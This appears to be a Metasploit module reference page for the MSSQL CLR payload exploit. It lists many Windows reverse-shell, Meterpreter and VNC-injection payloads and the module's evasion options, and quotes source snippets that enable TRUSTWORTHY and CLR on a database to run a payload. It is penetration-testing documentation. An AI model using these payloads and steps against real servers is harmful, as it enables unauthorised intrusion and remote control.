   104  payload/windows/peinject/bind_ipv6_tcp                                       normal  No     Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
   105  payload/windows/peinject/bind_ipv6_tcp_uuid                                  normal  No     Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   106  payload/windows/peinject/bind_named_pipe                                     normal  No     Windows Inject PE Files, Windows x86 Bind Named Pipe Stager
   107  payload/windows/peinject/bind_nonx_tcp                                       normal  No     Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
   108  payload/windows/peinject/bind_tcp                                            normal  No     Windows Inject PE Files, Bind TCP Stager (Windows x86)
   109  payload/windows/peinject/bind_tcp_rc4                                        normal  No     Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   110  payload/windows/peinject/bind_tcp_uuid                                       normal  No     Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)
   111  payload/windows/peinject/reverse_ipv6_tcp                                    normal  No     Windows Inject PE Files, Reverse TCP Stager (IPv6)
   112  payload/windows/peinject/reverse_named_pipe                                  normal  No     Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
   113  payload/windows/peinject/reverse_nonx_tcp                                    normal  No     Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
   114  payload/windows/peinject/reverse_ord_tcp                                     normal  No     Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
   115  payload/windows/peinject/reverse_tcp                                         normal  No     Windows Inject PE Files, Reverse TCP Stager
   116  payload/windows/peinject/reverse_tcp_allports                                normal  No     Windows Inject PE Files, Reverse All-Port TCP Stager
   117  payload/windows/peinject/reverse_tcp_dns                                     normal  No     Windows Inject PE Files, Reverse TCP Stager (DNS)
   118  payload/windows/peinject/reverse_tcp_rc4                                     normal  No     Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   119  payload/windows/peinject/reverse_tcp_rc4_dns                                 normal  No     Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   120  payload/windows/peinject/reverse_tcp_uuid                                    normal  No     Windows Inject PE Files, Reverse TCP Stager with UUID Support
   121  payload/windows/pingback_bind_tcp                                            normal  No     Windows x86 Pingback, Bind TCP Inline
   122  payload/windows/pingback_reverse_tcp                                         normal  No     Windows x86 Pingback, Reverse TCP Inline
   123  payload/windows/powershell_bind_tcp                                          normal  No     Windows Interactive Powershell Session, Bind TCP
   124  payload/windows/powershell_reverse_tcp                                       normal  No     Windows Interactive Powershell Session, Reverse TCP
   125  payload/windows/shell/bind_hidden_ipknock_tcp                                normal  No     Windows Command Shell, Hidden Bind Ipknock TCP Stager
   126  payload/windows/shell/bind_hidden_tcp                                        normal  No     Windows Command Shell, Hidden Bind TCP Stager
   127  payload/windows/shell/bind_ipv6_tcp                                          normal  No     Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
   128  payload/windows/shell/bind_ipv6_tcp_uuid                                     normal  No     Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   129  payload/windows/shell/bind_named_pipe                                        normal  No     Windows Command Shell, Windows x86 Bind Named Pipe Stager
   130  payload/windows/shell/bind_nonx_tcp                                          normal  No     Windows Command Shell, Bind TCP Stager (No NX or Win7)
   131  payload/windows/shell/bind_tcp                                               normal  No     Windows Command Shell, Bind TCP Stager (Windows x86)
   132  payload/windows/shell/bind_tcp_rc4                                           normal  No     Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   133  payload/windows/shell/bind_tcp_uuid                                          normal  No     Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
   134  payload/windows/shell/reverse_ipv6_tcp                                       normal  No     Windows Command Shell, Reverse TCP Stager (IPv6)
   135  payload/windows/shell/reverse_nonx_tcp                                       normal  No     Windows Command Shell, Reverse TCP Stager (No NX or Win7)
   136  payload/windows/shell/reverse_ord_tcp                                        normal  No     Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
   137  payload/windows/shell/reverse_tcp                                            normal  No     Windows Command Shell, Reverse TCP Stager
   138  payload/windows/shell/reverse_tcp_allports                                   normal  No     Windows Command Shell, Reverse All-Port TCP Stager
   139  payload/windows/shell/reverse_tcp_dns                                        normal  No     Windows Command Shell, Reverse TCP Stager (DNS)
   140  payload/windows/shell/reverse_tcp_rc4                                        normal  No     Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   141  payload/windows/shell/reverse_tcp_rc4_dns                                    normal  No     Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   142  payload/windows/shell/reverse_tcp_uuid                                       normal  No     Windows Command Shell, Reverse TCP Stager with UUID Support
   143  payload/windows/shell/reverse_udp                                            normal  No     Windows Command Shell, Reverse UDP Stager with UUID Support
   144  payload/windows/shell_bind_tcp                                               normal  No     Windows Command Shell, Bind TCP Inline
   145  payload/windows/shell_bind_tcp_xpfw                                          normal  No     Windows Disable Windows ICF, Command Shell, Bind TCP Inline
   146  payload/windows/shell_hidden_bind_tcp                                        normal  No     Windows Command Shell, Hidden Bind TCP Inline
   147  payload/windows/shell_reverse_tcp                                            normal  No     Windows Command Shell, Reverse TCP Inline
   148  payload/windows/speak_pwned                                                  normal  No     Windows Speech API - Say "You Got Pwned!"
   149  payload/windows/upexec/bind_hidden_ipknock_tcp                               normal  No     Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
   150  payload/windows/upexec/bind_hidden_tcp                                       normal  No     Windows Upload/Execute, Hidden Bind TCP Stager
   151  payload/windows/upexec/bind_ipv6_tcp                                         normal  No     Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
   152  payload/windows/upexec/bind_ipv6_tcp_uuid                                    normal  No     Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   153  payload/windows/upexec/bind_named_pipe                                       normal  No     Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
   154  payload/windows/upexec/bind_nonx_tcp                                         normal  No     Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
   155  payload/windows/upexec/bind_tcp                                              normal  No     Windows Upload/Execute, Bind TCP Stager (Windows x86)
   156  payload/windows/upexec/bind_tcp_rc4                                          normal  No     Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   157  payload/windows/upexec/bind_tcp_uuid                                         normal  No     Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
   158  payload/windows/upexec/reverse_ipv6_tcp                                      normal  No     Windows Upload/Execute, Reverse TCP Stager (IPv6)
   159  payload/windows/upexec/reverse_nonx_tcp                                      normal  No     Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
   160  payload/windows/upexec/reverse_ord_tcp                                       normal  No     Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
   161  payload/windows/upexec/reverse_tcp                                           normal  No     Windows Upload/Execute, Reverse TCP Stager
   162  payload/windows/upexec/reverse_tcp_allports                                  normal  No     Windows Upload/Execute, Reverse All-Port TCP Stager
   163  payload/windows/upexec/reverse_tcp_dns                                       normal  No     Windows Upload/Execute, Reverse TCP Stager (DNS)
   164  payload/windows/upexec/reverse_tcp_rc4                                       normal  No     Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   165  payload/windows/upexec/reverse_tcp_rc4_dns                                   normal  No     Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   166  payload/windows/upexec/reverse_tcp_uuid                                      normal  No     Windows Upload/Execute, Reverse TCP Stager with UUID Support
   167  payload/windows/upexec/reverse_udp                                           normal  No     Windows Upload/Execute, Reverse UDP Stager with UUID Support
   168  payload/windows/vncinject/bind_hidden_ipknock_tcp                            normal  No     VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
   169  payload/windows/vncinject/bind_hidden_tcp                                    normal  No     VNC Server (Reflective Injection), Hidden Bind TCP Stager
   170  payload/windows/vncinject/bind_ipv6_tcp                                      normal  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   171  payload/windows/vncinject/bind_ipv6_tcp_uuid                                 normal  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   172  payload/windows/vncinject/bind_named_pipe                                    normal  No     VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
   173  payload/windows/vncinject/bind_nonx_tcp                                      normal  No     VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
   174  payload/windows/vncinject/bind_tcp                                           normal  No     VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
   175  payload/windows/vncinject/bind_tcp_rc4                                       normal  No     VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   176  payload/windows/vncinject/bind_tcp_uuid                                      normal  No     VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   177  payload/windows/vncinject/reverse_hop_http                                   normal  No     VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   178  payload/windows/vncinject/reverse_http                                       normal  No     VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
   179  payload/windows/vncinject/reverse_http_proxy_pstore                          normal  No     VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
   180  payload/windows/vncinject/reverse_ipv6_tcp                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
   181  payload/windows/vncinject/reverse_nonx_tcp                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   182  payload/windows/vncinject/reverse_ord_tcp                                    normal  No     VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   183  payload/windows/vncinject/reverse_tcp                                        normal  No     VNC Server (Reflective Injection), Reverse TCP Stager
   184  payload/windows/vncinject/reverse_tcp_allports                               normal  No     VNC Server (Reflective Injection), Reverse All-Port TCP Stager
   185  payload/windows/vncinject/reverse_tcp_dns                                    normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
   186  payload/windows/vncinject/reverse_tcp_rc4                                    normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   187  payload/windows/vncinject/reverse_tcp_rc4_dns                                normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   188  payload/windows/vncinject/reverse_tcp_uuid                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
   189  payload/windows/vncinject/reverse_winhttp                                    normal  No     VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
   190  payload/windows/x64/exec                                                     normal  No     Windows x64 Execute Command
   191  payload/windows/x64/loadlibrary                                              normal  No     Windows x64 LoadLibrary Path
   192  payload/windows/x64/messagebox                                               normal  No     Windows MessageBox x64
   193  payload/windows/x64/meterpreter/bind_ipv6_tcp                                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   194  payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid                           normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   195  payload/windows/x64/meterpreter/bind_named_pipe                              normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   196  payload/windows/x64/meterpreter/bind_tcp                                     normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   197  payload/windows/x64/meterpreter/bind_tcp_rc4                                 normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   198  payload/windows/x64/meterpreter/bind_tcp_uuid                                normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   199  payload/windows/x64/meterpreter/reverse_http                                 normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   200  payload/windows/x64/meterpreter/reverse_https                                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   201  payload/windows/x64/meterpreter/reverse_named_pipe                           normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   202  payload/windows/x64/meterpreter/reverse_tcp                                  normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   203  payload/windows/x64/meterpreter/reverse_tcp_rc4                              normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   204  payload/windows/x64/meterpreter/reverse_tcp_uuid                             normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
   205  payload/windows/x64/meterpreter/reverse_winhttp                              normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
   206  payload/windows/x64/meterpreter/reverse_winhttps                             normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
   207  payload/windows/x64/meterpreter_bind_named_pipe                              normal  No     Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
   208  payload/windows/x64/meterpreter_bind_tcp                                     normal  No     Windows Meterpreter Shell, Bind TCP Inline (x64)
   209  payload/windows/x64/meterpreter_reverse_http                                 normal  No     Windows Meterpreter Shell, Reverse HTTP Inline (x64)
   210  payload/windows/x64/meterpreter_reverse_https                                normal  No     Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
   211  payload/windows/x64/meterpreter_reverse_ipv6_tcp                             normal  No     Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
   212  payload/windows/x64/meterpreter_reverse_tcp                                  normal  No     Windows Meterpreter Shell, Reverse TCP Inline x64
   213  payload/windows/x64/peinject/bind_ipv6_tcp                                   normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
   214  payload/windows/x64/peinject/bind_ipv6_tcp_uuid                              normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
   215  payload/windows/x64/peinject/bind_named_pipe                                 normal  No     Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
   216  payload/windows/x64/peinject/bind_tcp                                        normal  No     Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
   217  payload/windows/x64/peinject/bind_tcp_rc4                                    normal  No     Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   218  payload/windows/x64/peinject/bind_tcp_uuid                                   normal  No     Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
   219  payload/windows/x64/peinject/reverse_named_pipe                              normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
   220  payload/windows/x64/peinject/reverse_tcp                                     normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
   221  payload/windows/x64/peinject/reverse_tcp_rc4                                 normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   222  payload/windows/x64/peinject/reverse_tcp_uuid                                normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
   223  payload/windows/x64/pingback_reverse_tcp                                     normal  No     Windows x64 Pingback, Reverse TCP Inline
   224  payload/windows/x64/powershell_bind_tcp                                      normal  No     Windows Interactive Powershell Session, Bind TCP
   225  payload/windows/x64/powershell_reverse_tcp                                   normal  No     Windows Interactive Powershell Session, Reverse TCP
   226  payload/windows/x64/shell/bind_ipv6_tcp                                      normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
   227  payload/windows/x64/shell/bind_ipv6_tcp_uuid                                 normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
   228  payload/windows/x64/shell/bind_named_pipe                                    normal  No     Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
   229  payload/windows/x64/shell/bind_tcp                                           normal  No     Windows x64 Command Shell, Windows x64 Bind TCP Stager
   230  payload/windows/x64/shell/bind_tcp_rc4                                       normal  No     Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   231  payload/windows/x64/shell/bind_tcp_uuid                                      normal  No     Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
   232  payload/windows/x64/shell/reverse_tcp                                        normal  No     Windows x64 Command Shell, Windows x64 Reverse TCP Stager
   233  payload/windows/x64/shell/reverse_tcp_rc4                                    normal  No     Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   234  payload/windows/x64/shell/reverse_tcp_uuid                                   normal  No     Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
   235  payload/windows/x64/shell_bind_tcp                                           normal  No     Windows x64 Command Shell, Bind TCP Inline
   236  payload/windows/x64/shell_reverse_tcp                                        normal  No     Windows x64 Command Shell, Reverse TCP Inline
   237  payload/windows/x64/vncinject/bind_ipv6_tcp                                  normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
   238  payload/windows/x64/vncinject/bind_ipv6_tcp_uuid                             normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
   239  payload/windows/x64/vncinject/bind_named_pipe                                normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
   240  payload/windows/x64/vncinject/bind_tcp                                       normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
   241  payload/windows/x64/vncinject/bind_tcp_rc4                                   normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   242  payload/windows/x64/vncinject/bind_tcp_uuid                                  normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
   243  payload/windows/x64/vncinject/reverse_http                                   normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   244  payload/windows/x64/vncinject/reverse_https                                  normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   245  payload/windows/x64/vncinject/reverse_tcp                                    normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
   246  payload/windows/x64/vncinject/reverse_tcp_rc4                                normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   247  payload/windows/x64/vncinject/reverse_tcp_uuid                               normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   248  payload/windows/x64/vncinject/reverse_winhttp                                normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   249  payload/windows/x64/vncinject/reverse_winhttps                               normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

Evasion Options


Here is the full list of possible evasion options supported by the windows/mssql/mssql_clr_payload exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/mssql/mssql_clr_payload) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Invalid SQL Server credentials


Here is a relevant code snippet related to the "Invalid SQL Server credentials" error message:

50:	      ])
51:	  end
52:	
53:	  def check
54:	    unless mssql_login_datastore(datastore['DATABASE'])
55:	      vprint_status('Invalid SQL Server credentials')
56:	      return Exploit::CheckCode::Detected
57:	    end
58:	
59:	    version = get_sql_version_string
60:	

Failed to change Trustworthy setting


Here is a relevant code snippet related to the "Failed to change Trustworthy setting" error message:

99:	    result = mssql_query("ALTER DATABASE [#{datastore['DATABASE']}] SET TRUSTWORTHY #{on ? 'ON' : 'OFF'}", false)
100:	    unless result[:errors].empty?
101:	      result[:errors].each do |err|
102:	        vprint_error(err)
103:	      end
104:	      fail_with(Failure::Unknown, "Failed to change Trustworthy setting")
105:	    end
106:	  end
107:	
108:	  def is_trustworthy
109:	    # SQLi in MSF!! OMG!

Failed to change CLR setting


Here is a relevant code snippet related to the "Failed to change CLR setting" error message:

121:	    result = mssql_query(query, false)
122:	    unless result[:errors].empty?
123:	      result[:errors].each do |err|
124:	        vprint_error(err)
125:	      end
126:	      fail_with(Failure::Unknown, "Failed to change CLR setting")
127:	    end
128:	  end
129:	
130:	  def is_clr_enabled
131:	    result = mssql_query("SELECT CASE value WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.configurations WHERE name = 'clr enabled'", false)

Unable to login with the given credentials


Here is a relevant code snippet related to the "Unable to login with the given credentials" error message:

132:	    result[:rows][0] == 'ON'
133:	  end
134:	
135:	  def exploit
136:	    unless mssql_login_datastore(datastore['DATABASE'])
137:	      fail_with(Failure::BadConfig, 'Unable to login with the given credentials')
138:	    end
139:	
140:	    unless mssql_is_sysadmin
141:	      fail_with(Failure::BadConfig, 'Specified user lacks sufficient permissions')
142:	    end

Specified user lacks sufficient permissions


Here is a relevant code snippet related to the "Specified user lacks sufficient permissions" error message:

136:	    unless mssql_login_datastore(datastore['DATABASE'])
137:	      fail_with(Failure::BadConfig, 'Unable to login with the given credentials')
138:	    end
139:	
140:	    unless mssql_is_sysadmin
141:	      fail_with(Failure::BadConfig, 'Specified user lacks sufficient permissions')
142:	    end
143:	
144:	    # This module will only support 'thread' for EXITFUNC
145:	    # Bad things happen to SQL otherwise!
146:	    unless datastore['EXITFUNC'] == 'thread'

Setting EXITFUNC to 'thread' so we don't kill SQL Server


Here is a relevant code snippet related to the "Setting EXITFUNC to 'thread' so we don't kill SQL Server" error message:

142:	    end
143:	
144:	    # This module will only support 'thread' for EXITFUNC
145:	    # Bad things happen to SQL otherwise!
146:	    unless datastore['EXITFUNC'] == 'thread'
147:	      print_warning("Setting EXITFUNC to 'thread' so we don't kill SQL Server")
148:	      datastore['EXITFUNC'] = 'thread'
149:	    end
150:	
151:	    sql_version = get_sql_version_string
152:	    vprint_status("Target SQL Version is:\n#{sql_version}")

Target SQL server arch is <SQL_ARCH>, payload architecture is <PAYLOAD.ARCH.FIRST>


Here is a relevant code snippet related to the "Target SQL server arch is <SQL_ARCH>, payload architecture is <PAYLOAD.ARCH.FIRST>" error message:

151:	    sql_version = get_sql_version_string
152:	    vprint_status("Target SQL Version is:\n#{sql_version}")
153:	
154:	    sql_arch = get_sql_architecture(sql_version)
155:	    unless payload.arch.first == sql_arch
156:	      fail_with(Failure::BadConfig, "Target SQL server arch is #{sql_arch}, payload architecture is #{payload.arch.first}")
157:	    end
158:	
159:	    trustworthy = is_trustworthy
160:	    clr_enabled = is_clr_enabled
161:	

Database does not have TRUSTWORTHY setting on, enabling ...


Here is a relevant code snippet related to the "Database does not have TRUSTWORTHY setting on, enabling ..." error message:

158:	
159:	    trustworthy = is_trustworthy
160:	    clr_enabled = is_clr_enabled
161:	
162:	    unless trustworthy
163:	      print_status('Database does not have TRUSTWORTHY setting on, enabling ...')
164:	      set_trustworthy(true)
165:	    end
166:	
167:	    unless clr_enabled
168:	      print_status('Database does not have CLR support enabled, enabling ...')

Database does not have CLR support enabled, enabling ...


Here is a relevant code snippet related to the "Database does not have CLR support enabled, enabling ..." error message:

163:	      print_status('Database does not have TRUSTWORTHY setting on, enabling ...')
164:	      set_trustworthy(true)
165:	    end
166:	
167:	    unless clr_enabled
168:	      print_status('Database does not have CLR support enabled, enabling ...')
169:	      enable_clr(true)
170:	    end
171:	
172:	    exploit_version = get_exploit_version(sql_version)
173:	    print_status("Using version #{exploit_version} of the Payload Assembly")

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References


See Also


Check also the following modules related to this module:

Authors


  • Lee Christensen
  • Nathan Kirk
  • OJ Reeves

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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